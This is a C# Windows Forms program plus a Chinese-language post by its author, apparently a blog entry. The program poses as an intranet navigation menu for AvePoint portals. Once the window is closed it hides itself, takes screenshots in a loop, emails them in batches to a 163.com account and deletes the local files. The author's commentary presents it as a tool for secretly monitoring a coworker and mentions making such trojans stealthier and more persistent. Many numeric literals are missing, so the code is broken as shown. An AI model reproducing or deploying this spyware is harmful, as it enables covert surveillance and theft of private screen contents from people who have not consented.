using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
using System.Net.Mail;
using System.Net.Mime;
using System.Net;
using System.IO;
using System.Diagnostics; namespace WinidowsMonitor
{
public partial class Form1 : Form
{
//Change variable.
private static string ApplicationData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
string localPath = GetPath(ApplicationData); public static string GetPath(string appDataPath)
{
int index = ApplicationData.LastIndexOf("\\");
string strApp = ApplicationData.Substring(, index);
string tempPath = strApp + "\\Local\\Temp";
return tempPath;
} public Form1()
{
InitializeComponent();
Directory.CreateDirectory(localPath + "\\Windows");
} private void JudgeProcess(FormClosingEventArgs e)
{
Process[] pros = Process.GetProcesses();
Process pro = Process.GetCurrentProcess();
var samePro = from newpro in pros where pro.ProcessName == newpro.ProcessName select newpro;
if (samePro.Count() > )
{
//MessageBox.Show(samePro.Count().ToString());
Application.Exit();
}
else
{
//MessageBox.Show("only one");
e.Cancel = true;
this.Hide();
CatchCapture();
}
} public void CatchCapture()
{
Thread.CurrentThread.Name = "WindowsRun";
int i = ;
while (true)
{
i++;
Image myImg = new Bitmap(Screen.AllScreens[].Bounds.Width, Screen.AllScreens[].Bounds.Height);
Graphics g = Graphics.FromImage(myImg);
g.CopyFromScreen(new Point(, ), new Point(, ), Screen.AllScreens[].Bounds.Size);
string picName = "WindowsCapture" + i.ToString() + ".jpg";
string picPath = localPath.ToString() + "\\Windows\\" + picName.ToString();
g.Dispose();
try
{
myImg.Save(@picPath.ToString(), System.Drawing.Imaging.ImageFormat.Jpeg);
}
catch(Exception e)
{
MessageBox.Show(e.ToString());
}
myImg.Dispose();
Thread.Sleep();
if (i % == )
{
SendMail();
DeletePics(localPath.ToString() + "\\Windows\\");
}
}
} private void DeletePics(string path)
{
DirectoryInfo picDi = new DirectoryInfo(path);
var files = from file in picDi.GetFiles() select file;
foreach (var pic in files)
{
pic.Delete();
}
} public void SendMail()
{
using (SmtpClient client = new SmtpClient("smtp.163.com"))
using (var mail = new MailMessage("runcheck1@163.com", "runcheck1@163.com"))
{
client.Host = "smtp.163.com";
client.Port = ;
client.EnableSsl = true;
client.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
DirectoryInfo di = new DirectoryInfo(@localPath+"\\Windows");
//Add attachment.
foreach (FileInfo file in di.GetFiles())
{
string attachPath = localPath + "\\Windows\\" + file.Name;
var attach = new Attachment(attachPath, MediaTypeNames.Image.Jpeg);
attach.ContentId = file.Name;
mail.Attachments.Add(attach);
}
mail.Subject = "Windows Capture from love monitor.";
mail.SubjectEncoding = Encoding.UTF8;
mail.Body = "<img src=\"cid:pic\"/><p>来自Monitor</p>";
mail.BodyEncoding = Encoding.UTF8;
mail.IsBodyHtml = true;
mail.Priority = MailPriority.High;
//client.Credentials = CredentialCache.DefaultNetworkCredentials;
client.Credentials = new NetworkCredential("runcheck1", "pwd");
client.Send(mail);
}
} private void Form1_Load(object sender, EventArgs e)
{
//MessageBox.Show(Process.GetCurrentProcess().ProcessName);
} private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
JudgeProcess(e);
} private void vMManagementToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/Pages/default.aspx");
} private void cNPortalToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://privatecloud.ccoffice.avepoint.com/#/Shell/VmsManagement");
} private void iITSCoursesToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Lists/Course%20Library/All%20Courses.aspx");
} private void avePointChinaWorkersToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/Lists/ChinaTeamAll_Members/ChinaTeam%20Member%20View.aspx");
} private void avePointBookLendingToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/ChinaAdministration/CCHR/Lists/List2/AllItems.aspx");
} private void trainingSchoolScheduleToolStripMenuItem_Click(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("https://cnportal.avepoint.net/sites/IITS/Training/Training_School/Lists/Training_Schedule/view.aspx");
}
}
}
以上程序是我写的一个屏幕截图偷发邮件的工具，十秒钟一截图，三十张一发送，发送完了把已有的删除，继续监控。
外壳可以设计随便什么样，比如导航之类的：
然后你给你的同事用，后台就可以监控他在干嘛了……
在这里我就不演示我的成果了，哈哈。
其实大神之所以称之为大神，就是可以把这些东西做的更隐蔽更持久化。
区别就在于我这只是个恶作剧，而那是真正的木马病毒。